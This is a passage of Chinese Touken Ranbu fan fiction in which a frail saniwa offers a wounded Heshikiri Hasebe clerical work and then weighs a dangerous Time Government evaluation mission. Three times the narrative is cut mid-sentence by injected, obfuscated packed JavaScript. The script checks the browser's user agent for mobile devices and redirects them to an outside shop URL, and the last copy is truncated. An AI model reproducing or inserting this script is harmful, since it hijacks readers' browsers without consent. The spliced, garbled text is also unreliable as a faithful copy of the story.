“前田殿和平野殿,因为前主追求‘稀有度’,认为他们‘过于普通’,在锻出更稀有的刀剑后便通过某些渠道将他们‘处理’到了这里。” “小夜左文字,他的前主无法承受他过于沉重的过去和复仇的执念,选择将他‘送走’……” “至于则宗殿,他曾是时政的监察官,见过太多本丸的黑暗与肮脏,最后选择‘退休’,在我来到这里后被我选中,最终自愿留在这个被许多人视为终点的‘垃圾场’。” 压切长谷部的呼吸微微窒住,源朝曦每指出一振刀,他脑海中就不由自主地闪过关于那些刀剑的、流传在审神者间的评价——“普通”、“麻烦”、“性格阴郁”、“过于执着”、“仿品”、“次级选择”…… 这些标签他曾在前主那里听得耳朵起茧,也曾被用在他自己身上。 “抱团取暖,或许吧。”源朝曦收回手,重新看向他,目光锐利如刀,剖开他试图用愤怒和鄙夷包裹的内心。 “但能在最低限度的‘施舍’和时政偶尔想起来才派发的、报酬微薄又危险的任务中互相扶持着活下来,并且没有彻底堕入疯狂或自我放弃,这本身难道不比依赖某个审神者的偏爱和充沛资源而活着,需要更多的力量和韧性吗?” “他们不是‘延缓消亡’,长谷部殿。”源朝曦的声音很轻,却字字敲在压切长谷部心上,“他们是在废墟上试图重新建立‘活着’的秩序和意义。” “而我,只是恰好在这个时候到来,提供了一个相对稳定的灵力源以及——一个不会对他们指手画脚、强行施加个人意志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039948|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的‘主人’。” 压切长谷部张张嘴,却发现那些激烈的反驳卡在喉咙里。 他想起醒来时山姥切国广沉静却有力的阻拦,药研藤四郎冷静到近乎冷酷的“医嘱”,一文字则宗看似闲适实则洞察一切的话语,还有庭院里那些忙碌却专注的身影……没有刃脸上带着被遗弃者的颓丧或怨毒,他们只是在做事情,在努力让这个本丸运转下去。 “至于资源,如你所见,时政并不慷慨。”源朝曦继续道,语气里带上了一丝近乎冷酷的务实。 “十万基础资源听起来不少,但要维持一个拥有二十多振刀剑的本丸日常灵力消耗、手入修复、衣食住行加上必要的储备以应对突发状况,其实捉襟见肘。” “甲州金和小判是我的薪资,当然,还有部分小判的来源是远征与日课奖励,但这些大部分都需要用来维持我自身的存在以及必要时兑换一些本丸无法自产的特殊物品。” 她甚至拿起案几上的一卷账目,轻轻展开一角,上面密密麻麻记录着各项开支:“日课是我们现在最主要的资源来源。全勤完成,每日可得各类资源三千三百,小判一千二百以及一些零碎的加速符、依赖札。”[3] “这意味着,如果我们想要积累,想要修复本丸更陈旧的设施,想要让刀剑们的装备稍微好一点,就必须精打细算,并且确保每日的出阵、远征、演练、内番都能高效完成,不能有大的折损。” 她抬起眼,目光似乎能穿透压切长谷部强撑的躯壳,看到他内里同样千疮百孔的灵体。“这样的生活,当然比不上你在前主那里——只要服从、只要满足他扭曲的执念就能获得的、充沛到可以随意挥霍的资源。” “但这里,每一份资源都是靠劳动和汗水换来的,每一振刀都知道它们来之不易,也因此他们更懂得珍惜。” 压切长谷部的指尖深深掐入掌心,传来细微的刺痛,前主本丸的资源确实堆积如山,但他得到的只有无休止的精神折磨和贬低,而这里这种贫穷却带着奇异尊严的生存方式让他感到陌生,甚至一丝无所适从的恐慌。 “你说我是‘另一个审神者’,也许吧。”源朝曦微微前倾身体,苍白的脸上第一次浮现出一种近乎悲悯的神色,但这悲悯并非施舍,而是洞悉。 “但我不会要求你‘忠诚’,不会定义你的‘价值’,不会因为你是‘压切长谷部’就强加给你关于织田信长的期待或污名。” 她的话像一把冰冷的钥匙,猝不及防地捅开了压切长谷部心底最隐秘的锁,那些关于“玷污”、“瑕疵”、“不配为信长公之刃”的诅咒再次在耳边轰鸣,让他浑身血液几乎冻结。 “你的暗堕倾向,药研殿和我提过。”源朝曦的语气依旧平静,仿佛在讨论天气,“前主长期的精神压迫和扭曲认知导致的灵力核心紊乱。” “它不会因为契约改变而立刻消失,但平和稳定的灵力环境和相对正常的相处或许能让它慢慢平复,当然,这取决于你自己是否愿意给自己这个机会。” 她重新靠回缘侧的柱子,似乎说了太多话有些疲惫,微微合眼,阳光在她长长的睫毛上投下淡淡的阴影。 “选择权始终在你。带着物资离开,去寻找你认可的终结或渺茫的‘自由’;或者留下,以T57本丸一员,以‘压切长谷部’而非任何人的‘所有物’的身份,试试看在这里你能不能找到除了‘效忠某个主人’和‘追寻死亡’之外的第三条路。” 风铃声悠悠传来,庭院里,加州清光似乎涂好了指甲,正笑着向其他刃展示;堀川国广细心地将汗巾递给做完拉伸的和泉守;菜地那边传来前田和平野轻轻的交谈声。 压切长谷部站在原地,身体依旧虚弱,内心却经历着一场无声的海啸,愤怒的壁垒在那些平静的陈述和眼前真实的景象面前出现裂痕,暴烈的逃离冲动被一种更深沉、更疲惫的茫然取代。 留下?和这些“残次品”一起,过这种精打细算、需要辛苦劳作的日子?为了什么? 离开?带着这些物资,像一个被扫地出门却揣着些许盘缠的丧家之犬,又能去哪里?时政的监控无所不在,一个无主、有暗堕倾向的付丧神,下场可想而知。 第三条路……? 他缓缓抬起手按住自己抽痛的额角,紫灰色的眼瞳中狂躁的火焰渐渐熄灭,取而代之的是一种空洞的、近乎绝望的迷茫。 他发现自己构建的所有认知——关于审神者、关于本丸、关于自身价值、甚至关于“活着”的意义——都在这个空旷的和室里,在这个病弱却异常坚韧的审神者面前,被击得粉碎。 “我……”他的声音沙哑得几乎听不见,“我不知道。” 源朝曦睁开了眼睛,灰蓝色的眼眸静静注视着他,没有催促,没有评价,只是等待。 过了许久,压切长谷部终于再次开口,声音低微,却带着一丝连他自己都未曾察觉的、近乎恳求的意味,“如果留下我需要做什么?” 33.第三十三章 源朝曦似乎并不意外压切长谷部会问出这个问题,她灰蓝色的眼眸静静地望了他一会儿,那目光里没有胜利的意味,也没有丝毫“看,你最终还是屈服了”的轻慢,更像是在确认一个早已预料到的、自然而然的发展节点。 “首先,是养好你自己的身体,药研殿的判断是你的灵力核心虽然暂时稳定,但长时间的精神压迫和灵力紊乱造成的损伤需要时间和平稳的灵力环境来修复,在他允许你进行高强度活动之前,你的主要任务是休息和恢复。” “本丸没有多余的资源可以被浪费在反复手入上,所以,请务必遵从医嘱,这既是对你自己,也是对本丸资源的负责。”源朝曦顿了顿,补充道。 源朝曦的回答太过平实,甚至有些“无情”,没有慷慨激昂的承诺,也没有温情脉脉的抚慰,只有冷静到近乎冷酷的现实陈述——“养好身体”、“遵从医嘱”、“不要浪费资源”。 这反而让压切长谷部因激烈情绪而沸腾的血液稍稍冷却,一种荒诞的踏实感悄然滋生,至少她没有用虚伪的同情或空泛的许诺来搪塞他。 “然后呢?”他追问,声音依旧沙哑,但少了先前的那份尖锐的讥诮,更像是一种确认。 “然后?”源朝曦微微侧首,一缕红色的发丝滑过她苍白的脸颊,她的目光落在庭院里那些忙碌的身影上,又缓缓收回,重新看向压切长谷部。 “然后就是当你觉得身体已经恢复,并且获得药研殿的许可后,你需要承担起身为本丸一员应尽的义务。” “你需要和其他刃一样参与日课——出阵、远征、演练、内番,根据本丸的轮值和需求安排,没有刃会是例外,也没有刃会被允许无所事事的消耗资源。” “另外,我没有近侍,在T57本丸也没有这个职位。” 源朝曦平静的话语让压切长谷部猛地抬起头来。 “为什么?”他几乎是下意识的问,在他过往的经历中——无论是作为织田信长的爱刀,还是后来被转赠到的黑田家,亦或是那个噩梦般的前主本丸——近侍永远都是上位者最信任、最依赖的,是权利与地位的象征。[1] “不习惯,而且也没有必要。”源朝曦的回答简单的近乎任性。 “目前本丸的日常运转由山姥切殿和药研殿负责协调,他们是最了解这座本丸情况的刃,资源的分配、日课的安排、突发情况的处理……这些事情他们都做得很好。” “而我,只需要提供稳定的灵力以及在必要时做出决策,至于具体的执行和管理,交给专业和愿意负责的刃会更有效率。” 压切长谷部的嘴唇动了动,他想说“但你是审神者”,想说“这不合理”,想说“没有一个审神者会这样放权”。 可话到嘴边,他又咽了回去,因为压切长谷部意识到源朝曦说的可能是真的——这座本丸在他醒来前就已经在有序运转,那些刀剑的脸上没有迷茫,只有专注。 “没有近侍?”压切长谷部低声重复,紫灰色的眼中充满不解和一丝再次被否定的刺痛。 即使在前任审神者那里,压切长谷部也曾经被短暂的“重用”过,及时随之而来的是更严苛的要求和更恶毒的贬低。 在霓虹传统的历史背景影响下,近侍意味着距离、意味着影响、意味着某种程度上的“重要”,而在这里,连这个象征性的位置都不存在。 “是的,没有。”源朝曦的目光扫过空荡荡的室内,“我现在不习惯有人或刃时时刻刻跟随着我,也不认为有必要设立一个砖门‘侍奉’我的职位。” “本丸的日常运转需要的是管理和协作,而非对某个个体的侍奉,我觉得山姥切殿和药研殿现在做的就很好,我没有理由,也没有意愿去改变这一点。” 源朝曦的语气平淡,像是在陈述一个今天天气不错的事实,但这却让压切长谷部感到一股疏离与陌生。 因为他发现自己彻底成了一个“外来者”,一个需要被评估身体状况,然后被纳入既定运行体系的“新部件”,而非被期待、被赋予特殊意义的“压切长谷部”。 “所以,我留下之后就是要成为这个庞大日课运转体系里的一颗螺丝钉?”这个发现让压切长谷部的声音变得干涩起来,“和其他刃没有任何不同?” 他试图从“仿品”山姥切国广、“麻烦”的和泉守兼定、“普通”的藤四郎们、“阴郁”的小夜左文字……甚至那个看起来就散漫不羁的一文字则宗身上找到某种共性,某种能让他感到自己“与众不同”的优越感,但他失败了。 在源朝曦平静的叙述里,他们只是“本丸的一员”,各有各的过去,各有各的“瑕疵”,但现在都在这里承担着各自的义务。 “从履行本丸成员义务的角度来说,是的,没有任何不同。”源朝曦看着他认真地说,“出阵、远征、演练、内番,一切都要根据本丸的需求和轮值安排,每一振刀都需要贡献力量。” “资源需要共同创造,结界需要共同维护,生活需要共同经营,这里没有不劳而获的位置。” “那么意义呢?”感到荒谬的压切长谷部几乎是在质问源朝曦,“你所说的‘第三条路’就是像这样日复一日地完成那些枯燥的日课,精打细算地使用每一份资源,在这个被遗忘的角落,和一群这样的刃像工蚁一样忙碌,仅仅为了‘活着’而活着?” “这和我追寻死亡或者效忠一个能赋予我‘价值’的主人又有什么本质区别?不过是另一种形式的囚笼!” 如果仅仅是为了生存而机械劳作,那与器物被使用又有何异? 压切长谷部渴望被需要,渴望被认可,而这一振压切长谷部要远比他的同振还要渴望自己的存在能有明确的、闪耀的意义,而不是让自己被淹没在琐碎的日常里。 压切长谷部的质问带着不甘和一丝不易察觉的绝望在空旷的和室内回荡,他紧紧盯着源朝曦,仿佛想从她平静无波的面容上撕裂一道口子,窥见对方内里的虚伪或动摇。 但源朝曦只是静静地看着他,那双灰蓝色的眼眸在晨光中显得有些透明,却愈发深不见底。 她没有立刻回答,而是微微侧身,从案几上拿起一个素白的瓷杯,抿了一口早已凉透的茶水,动作缓慢而稳定,没有丝毫被冒犯或激怒的迹象。 “意义?”她放下茶杯,指尖轻轻摩挲着杯沿,声音依旧平淡,却像投入深潭的石子,激起层层看不见的涟漪,“长谷部殿,你似乎误解了一件事。” “我提供的从来不是‘意义’本身。”她抬起眼,目光锐利如刀,直直刺入压切长谷部紫灰色的瞳孔,“我只是提供了一个相对稳固的基石,一个不那么扭曲、不那么痛苦、允许你喘息的‘环境’。意义,是需要你自己去寻找、去确认、去赋予的东西。” “至于你所说的‘囚笼’……”源朝曦的嘴角似乎极轻微地勾了一下,但那弧度太浅,转瞬即逝,更像是一种疲惫的嘲弄。 “任何形式的‘存在’本身或许都带有某种限制,在你前主那里,限制是必须扭曲自我以迎合他的欲望;在死亡的诱惑里,限制是彻底的虚无与终结;而在这里——” 她的目光投向庭院,那里,完成了指甲欣赏的加州清光正被和泉守兼定拉去手合场对练,堀川国广在一旁微笑看着;小夜左文字默默地帮前田和平野将收获的蔬菜搬进厨房…… “这里的限制是资源、是身体需要恢复、是你需要和其他刃协作完成日课以维持本丸运转、是你需要遵守最基本的、不伤害自己也不伤害他人的规则。” “相比起你被强迫‘成为’什么,或者彻底‘不再是什么’,这或许是最宽松的一种了。” 源朝曦的话语没有激昂的辩驳,却像冰冷的水一点点浇灭了压切长谷部心中最后那点名为“特殊期待”的火星。 她不是在描绘一个美好的未来,而是在陈述一个冰冷的现实:这里没有救世主,没有从天而降的“意义”,只有一片需要自己开垦的、贫瘠但尚算安全的土地。 “可是为什么没有近侍?”他还是忍不住问了出来,这个问题像一根刺卡在他的认知里,审神者身边怎能没有近侍?那意味着疏远,意味着不被需要。 源朝曦沉默了片刻,这次,她的目光落在自己搁在膝盖上的、苍白而纤细的手指上。 “因为‘侍奉’本身,很容易变成另一种形式的依附和扭曲。”她的声音低了一些,带着某种遥远的、仿佛回忆般的语气。 “我曾见过,也经历过,当‘侍奉’与‘被侍奉’成为一种固定的模式,权力、期待甚至是情感,都会在那种近距离的互动中变质。” “而在这里,侍奉者可能会渐渐失去自我,将审神者的意志奉为圭臬;而被侍奉者,也可能在日复一日的‘特殊对待’中,模糊了界限,忘记了对方首先是一个独立的个体,然后才是‘刀剑’。” “山姥切殿和药研殿负责本丸的运转管理,是因为他们有这个能力和意愿,而非因为他们需要‘侍奉’我。” “我需要他们高效地维持本丸,他们也需要一个稳定提供灵力并给予基本信任的审神者,这是一种基于实际需求和能力匹配的‘协作’,而非基于身份或‘恩宠’的‘侍奉’。” “我不需要刃时刻跟随在我身边提醒我的身份,或者由我来赋予他们‘近侍’所带来的虚幻重要性,每一振刀在这里的存在本身,他们对本丸的贡献,他们彼此之间的联结,才是构成这个‘T57本丸’的基石。” “我的位置在这里。”她轻轻拍了拍身下的缘侧,“提供灵力,观察,在必要的时候做出决策,仅此而已。” 压切长谷部彻底无言以对,他发现自己所有的预设——关于审神者,关于本丸的秩序,关于自身的定位——在这个女人面前都显得幼稚而可笑。 她不是在玩弄权术,也不是在施舍怜悯,她是在经营,用一种近乎冷酷的理性,经营着这个聚集了“残次品”的、资源匮乏的“垃圾场”。 “那么,我留下又能‘协作’什么?”他终于问道,声音里充满了疲惫和茫然,愤怒燃烧殆尽后,只剩下巨大的空虚和对未来的无措。 “一振灵力不稳,暗堕倾向未消,还对前主抱有扭曲执念的打刀?我甚至连出阵都无法保证不拖累队友。” “所以,你现在无法胜任常规的日课战斗任务,但这不代表你无处可用,更不代表你没有价值。” 压切长谷部猛地抬眼,紫灰色的眸子里闪过一丝被看穿狼狈的刺痛以及一丝连他自己都未曾察觉的、微弱到几乎不存在的希冀,她在否定他自我贬低的话语?不,她只是在说“现状”。 “T57本丸目前包括你在内有二十六振刀剑。”源朝曦的目光投向庭院,声音清晰而平缓,“维持日常运转、完成时政要求的日课以获取资源,是首要任务,但除此之外,本丸本身的管理、规划、记录、资源的精确分配和未来规划同样消耗精力。” 她收回视线,重新看向压切长谷:“山姥切殿和药研殿在我不在的岁月里维持了本丸的存续,他们熟悉每一振刀的状态、本丸设施的情况、以及如何在最低限度的资源下做出最优安排,但他们并非全知全能,也不是所有事务都擅长。” “他们擅长应对危机,维持本丸最低限度的运转,但长期在资源匮乏和高压环境下形成的思维模式有时会过于侧重‘生存’本身,而难以兼顾‘发展’所需的精细规划与长远记录。” “时政下发的任务指令、资源配给清单、本丸的物资库存详录、刀账状态的实时更新、出阵及远征的详细报告与损耗评估、长期资源获取与消耗的预算模型……这些文书工作目前主要由山姥切殿和药研殿分担,但对他们而言,这并非乐事,也并非他们所擅长的内容,更多是不得不为的责任。” 她顿了顿,灰蓝色的眼眸专注地看向压切长谷部,那目光仿佛能穿透他此刻的虚弱与迷茫,看到他灵体深处某些被压抑或扭曲的特质。 “而你,长谷部殿,根据我从时政共享的、有限的非机密档案以及某些流传于审神者间的非正式评价来看,你的同振们普遍被认为具备优秀的文书处理能力、严谨的规划思维以及对细节的高度关注。” 压切长谷部的身体几不可察地僵硬了一下,紫灰色的瞳孔微微收缩,在前主那里,这些特质被扭曲成了“刻板”、“控制欲”、“缺乏灵活性”,甚至成为他“不配为信长公之刃”的佐证之一。 源朝曦似乎没有注意到他的细微变化,或者说,注意到了却不在意,继续用那种平静到近乎剖析的语气说道:“甚至有一种在部分审神者中流传的、略带调侃的说法,称拥有压切长谷部的本丸,审神者往往会被迫或自愿地提高文书处理效率,因为你们‘总能把一切安排得井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064400|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井有条,甚至显得有些过于积极’。” 她的唇角似乎掠过一丝极淡的、几乎无法捕捉的弧度,“有人私下称之为‘废婶制造机’的一种表现形态。” “废婶制造机?” 压切长谷部重复着这个陌生而刺耳的词汇,指尖深深掐入掌心,羞辱感混合着一种怪异的、几乎被遗忘的“被需要感”的残影,在他心中激烈冲撞。 在前主那里,他处理文书、安排事务的能力被贬低为“匠气”和“试图僭越”,而在这里,这个病弱的审神者却用一种近乎客观陈述的方式,将之视为一种可以“协作”的“特质”? “是的。” 源朝曦点了点头,仿佛在确认一个事实,“当然,那些评价可能包含夸张和偏见的成分,但核心的一点是,你这类特质如果引导得当,在目前T57本丸的阶段或许能发挥出意想不到的作用。” “山姥切殿和药研殿擅长的是在匮乏中维持‘存在’,他们更关注当下和短期的必要。” “而一个本丸若想真正摆脱‘垃圾场’的标签,仅仅‘活着’是不够的,还需要清晰记录走过的路,合理规划未来的资源获取与分配,建立更高效的运转流程,甚至为可能出现的变故或机遇做准备。” “这些,需要另一种思维模式,一种更注重条理、规划、记录和效率的模式,这并非高低之分,而是职能互补。” 源朝曦的声音平缓而清晰,每一个字都敲在压切长谷部混乱的心湖上。 “所以,如果你留下,在你身体恢复到足以承受常规战斗任务之前,或许可以协助山姥切殿和药研殿处理这些日益繁杂的文书工作。” “整理过去的任务记录,建立更清晰的物资账目,分析日课资源获取的效率,规划短期内的资源分配重点,甚至协助制定轮值表、评估各部队出阵损耗与收益……这些工作不需要你立刻奔赴战场,但同样重要,甚至从长远看可能比单纯完成几次日课更能为本丸打下坚实的基础。” 她微微偏头,一缕红发滑落肩头,“你可以把它看作是一种‘内勤’或者‘参谋’性质的协作。” “当然,这建立在你愿意并且山姥切殿和药研殿也认可你的能力、愿意与你分享这部分权责的基础上,我不会强迫任何一方,这只是一个基于现状和对你特质观察后提出的可能性。” 压切长谷部沉默了,汹涌的情绪在他胸中激烈翻腾,文书工作……规划……效率……这些词汇曾是他试图证明自己“有用”的领域,也曾是前主用来贬低他“像个账房先生而非名刀”的利器。 如今,在这个空旷、简朴、资源紧张到需要精打细算的“垃圾场”本丸,这些特质居然被审神者以一种近乎“务实”的态度,视为可以“协作”甚至“互补”的资产? 荒谬,无比荒谬! 他想起庭院里那些忙碌的身影,想起山姥切国广沉静却隐含疲惫的眼神,想起药研藤四郎在检查他伤势时那一闪而过的、对资源短缺的忧虑。 这个本丸确实在运转,但或许正如审神者所说,它仅仅是在“生存”的边缘挣扎,而那些堆积的文书、混乱的记录、缺乏规划的资源流动……或许正是阻碍它走向“发展”的绊脚石。 “你让我去管账?做文书?” 压切长谷部的声音干涩,带着难以置信的荒谬感,“就像个普通的文员?” “是协助管理,并建立更有效的体系。” 源朝曦纠正道,语气依旧平淡,“刀剑男士的力量不仅仅可以在战场上体现。” “维系一个组织的运转,确保其能在逆境中积累力量、规划未来,同样需要智慧与付出,这与在战场上杀敌,本质都是‘守护’的一种形式,只是方式不同。” “而且,这或许能让你暂时远离直接的战斗压力,给你的灵力核心一个更平缓的恢复环境。” “同时,通过处理这些具体而繁杂的事务,你也能更快地了解这座本丸的过去、现状以及每一振刀为了存续所付出的努力,这或许比你单纯作为一个‘战斗员’融入得更快,也更深刻。” 压切长谷部感到一阵眩晕,对方不仅看穿了他能力的“残留”,甚至考虑到了他现在的状态,为他设想了一条看似折衷、实则可能更具渗透性的融入路径。 不是作为冲锋在前的利刃,而是作为梳理脉络、规划后勤的“手”,在一个资源匮乏、一切需要精打细算的环境里,这或许确实是一种“有用”。 “我……我需要考虑。” 他最终沙哑地说,没有立刻答应,也没有断然拒绝,尽管内心的壁垒出现了巨大的裂缝,但长期形成的警惕和对自己价值的扭曲认知,让他无法立刻接受这样的安排。 “当然。” 源朝曦微微颔首,似乎早就预料到他的反应。“你可以回去慢慢想。” “药研殿应该给你安排了暂住的房间,在你做出决定之前,本丸的基础灵力供应和基本生活保障不会短缺,这是你作为‘契约刀剑’的基本权利,也是我的义务。” 源朝曦拿起身旁矮桌上的那卷账目,目光落回上面密密麻麻的数字,姿态重新恢复了最初的疏离与宁静,仿佛刚才那番足以搅动一振刀剑命运的话语,不过是日常间最普通的交谈。 “离开时请带上门,长谷部殿。你看起来很累了,需要休息。” 逐客令下得平淡而自然。 压切长谷部站在那里,看着晨光中那抹单薄却挺直的背影,看着她垂眸审视账目的侧脸,那上面没有期待,没有施压,只有一片深海般的平静。 他张张嘴,最终什么也没说,只是缓缓地、有些僵硬地转过身,扶着门框,一步一步地挪出了这间空旷寂寥的和室。 木门在身后轻轻合拢,隔绝了室内清冷的空气和那个谜一样的审神者。 压切长谷部站在天守阁顶层的走廊上,扶着墙壁喘息,冷汗再次浸湿了他的内衫,身体的虚弱和精神上的巨大冲击让他几乎站立不稳。 楼下庭院隐约传来刀剑们活动的声音,风铃声清脆悠远。 “废婶制造机……” 他低声重复着那个词汇,嘴角扯出一个苦涩到极点的弧度,然后,他深吸一口气,强迫自己站直身体,沿着来时的楼梯,一步一步,缓慢而沉重地向下走去。 未来的路依旧迷雾重重,但至少,在迷雾中有人为他指出了另一个他从未想过的方向,尽管那方向目前看来依旧布满荆棘与未知。 34.第三十四章 天守阁内的空气仿佛随着那份通知文书的展开而凝固了一瞬,源朝曦指尖拂过纸面上那个特意用加粗字体标注的任务代号——“夏目账单”,灰蓝色的眼眸深处闪过一丝几不可查的思量。 狐之助安静地蹲坐在矮桌对面,尾巴尖轻轻摆动,那双看似灵动的电子眼此刻正一眨不眨地观察着审神者的表情,这份由时政总部直接下发、绕过常规日课系统的特殊通知本身就代表着不同寻常的关注。 “现在看来,时政终于舍得给我们一个‘转正’的机会了?” 源朝曦的声音听不出喜怒,只是将文书轻轻放在案几上,推向对面侍立的山姥切国广、药研藤四郎与一文字则宗,“你们都看看吧。” 山姥切国广兜帽下的眉头在看到“正式编号”几个字时便已蹙起,药研藤四郎镜片后的目光快速扫过那些复杂的条款和条件,一文字则宗手中的折扇不知何时已停止摇晃,脸上的笑容淡去,露出罕见的凝重。 文件首先肯定了T57本丸在新任审神者凤黯接手后初步稳定了本丸灵力环境,完成了基本日课,展现出“步入正轨”的迹象。 基于此评估,时之政府认为T57本丸具备了从“临时观测编号(T)”转为“正式发展编号”的初步条件。 接下来是冗长但关键的说明:在时政的正式体系里,本丸的编号前缀从低到高依次是D、C、B、A、S,分别对应不同的资源配给额度、权限范围以及在时政内部评估体系中的权重,前缀字母后的数字则是这个本丸初次建立时的本丸序号。 “T”前缀即“临时观测编号”(Temporary Observation Number),通常用于尚未稳定、存在较高风险或处于过渡期的本丸,比如T57这种接手前长期无主、作为中转站使用的本丸以及某些因特殊原因需要观察的本丸。 T编号本丸享有的基础资源配给极低,几乎仅够维持结界不崩溃和付丧神最基础的灵体存续;权限严重受限,无法接取任何高报酬或特殊性质的任务;处于时政更严密的、近乎监视的“观察”之下,任何异常波动都可能招致“处理部队”的介入。 转为正式编号则意味着他们脱离“临时”与“重点观察”状态,进入时政常规的发展与评估轨道。 虽然起始的D级资源配给和权限仅仅比现在的T级好上有限的一点点,但至少拥有了“升级”的资格与通道——通过完成任务、积累功绩、提升本丸整体练度和稳定性,可以逐步向C级、B级乃至更高迈进。 每月固定发放给审神者的小判和甲州金“薪资”也会根据本丸等级有相应微调,更重要的是可以解锁一些D级本丸权限内的特殊物资兑换和限定任务机会,为改善现状提供了更多可能性。 但通知上明确写着从T编号转为正式D编号并非自动完成,时政需要这个本丸一次“实地观测与协同任务评估”,以确认本丸在审神者带领下应对正式任务、协调内部、处理突发状况的实际能力,确保其“稳定可控”,不会在获得更多权限和资源后引发问题。 在山姥切国广几刃查看文件时,狐之助的电子眼也闪烁了一下,似乎对源朝曦口中“转正”这个过于直白的用词有些意外,但很快恢复了标准的服务性微笑:“凤黯大人明鉴,时政对每一位审神者及其本丸的发展都寄予厚望。” “T57本丸在您的带领下迅速稳定,展现出良好的潜力,因此获得了这次宝贵的评估机会,只要顺利完成‘夏目账单’任务,本丸将正式获得D57编号,开启新的发展阶段。” 山姥切国广已经快速浏览完文件,兜帽下的声音沉稳但带着一丝不易察觉的紧绷:“任务要求审神者大人必须亲自带队前往指定时空坐标,协同处理代号‘夏目账单’的异常。” “任务简报提及该时空存在因‘名字’归属引发的灵力紊乱现象,已监测到时间溯行军活动迹象,但规模、等级及具体关联性不明。” “任务目标是调查并清除溯行军,评估并处置‘账单’相关异常,确保该时空历史流向不被干扰,成功标准由现场监察狐之助及后续评估部门判定。” “必须亲自带队,这就意味着大将必须离开本丸结界保护,进入可能存在高等级溯行军活动的陌生时空。”药研藤四郎推了推眼镜,冷静地指出关键点,“根据时政给出的资料,那个时空的‘灵力紊乱’现象本身也可能对大将的身体状况造成影响。” 一文字则宗缓缓展开折扇,目光在文书末尾的印章处停留片刻:“时政派来的‘现场监察狐之助’编号特殊,应该是直接从监察科调遣的个体。” “同时任务成功与否的评判标准也写得相当模糊,‘现场监察’与‘后续评估部门’双重判定,这意味着我们在任务过程中的一举一动都会被记录、分析,甚至可能被不同部门以不同标准解读。” 他抬起眼看向源朝曦,语气恢复了惯有的慵懒,但眼底却是一片清醒:“凤黯大人,这份‘转正机会’包裹着的可不止是糖衣。” 狐之助的尾巴不安地摆动了一下:“则宗殿言重了,时政对所有接受评估的本丸都秉持公平公正公开的原则——” “公平公正公开?”源朝曦轻声打断,苍白的手指轻轻叩击案几,“那么请问,为何任务简报中对溯行军规模、等级、‘账单’异常的具体表现都语焉不详?” “为何必须要求审神者亲自前往,而非像常规日课那样可由刀剑男士独立完成?为何评判标准如此模糊,却给予现场监察和后续评估部门双重裁量权?” 她灰蓝色的眼眸平静地看向狐之助,那目光明明没有任何压迫感,却让伪装成式神狐狸的电子狐狸下意识缩了缩脖子。 “这更像是一场测试,或者说,一次筛选。”源朝曦收回目光,看向庭院中那些对此尚且一无所知的刀剑们,“测试这个本丸在压力下的表现,筛选出那些真正‘稳定可控’、值得投入更多资源的本丸,而那些通不过测试的……” 虽然话没说完,但源朝曦的意思不言而喻。 T57本丸作为曾经的“垃圾场”聚集了太多“问题刀剑”,时政愿意给他们一个机会,但这个机会伴随着极高的风险——成功了,他们可以摆脱“临时观测”的标签,真正开始积累和发展的道路;失败了…… 失败的后果,可能是失去这次转正机会,继续在T编号的泥潭中挣扎;也可能是暴露出更多“不稳定因素”,引来更严密的监控甚至更糟糕的处置,哪怕这里有一个强大的审神者也是如此。 山姥切国广将通知文书轻轻放回矮桌,白色兜帽的阴影遮住了他大半张脸,但紧抿的唇角与交握时指节微微发白的手,透露着他内心的波澜,药研藤四郎则直接拿起文书,又仔细看了一遍那模糊的成功标准与必须审神者亲自带队的要求。 “大将现在的身体状况根本就不适合进行高危时空穿越。”药研的语气是医者的冷静“即使有刀剑男士作为护卫,但陌生时空的灵力环境、潜在的溯行军威胁以及任务本身的不确定性对大将来说都存在着巨大风险。” “时政明知这一点仍作此要求,其评估‘稳定性’的意图恐怕远大于对大将安全的考量。” 一文字则宗的折扇“啪”一声合拢,声音里带着一丝惯有的、却在此刻显得格外尖锐的讽意:“看来我们这些‘垃圾场’的住户想洗掉身上的标签,得先证明自己不仅‘无害’,还得‘有用’,甚至‘好用’到可以带着病弱的主君去闯龙潭虎穴才行。” “凤黯大人,您意下如何?”他看向源朝曦,那双总是半眯着的眼睛里,此刻是全然的清醒与探究。 源朝曦没有立刻回答这个问题,她的目光再次落向庭院。 加州清光似乎输掉了手合,正被和泉守兼定笑着揉乱头发;小夜左文字默默地帮五虎退捡起滚落的小老虎玩偶;太郎太刀安静地坐在廊下擦拭本体,次郎太刀则靠在他身边小憩…… 每一振刀都在这个午后按照自己的节奏“生活”着,他们大多经历过被遗弃、被忽视、被标签化的岁月,在这个本丸找到了一丝喘息之隙,而现在这份通知就像一块投入平静水面的巨石。 “拒绝任务的后果是什么?”她问,声音依旧平静,听不出情绪。 狐之助的尾巴不安地卷了卷,电子音努力维持着平稳:“凤黯大人,拒绝接受评估任务,将被视为自动放弃本次转正机会。” “T57本丸将继续维持‘临时观测编号’状态,资源配给与权限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 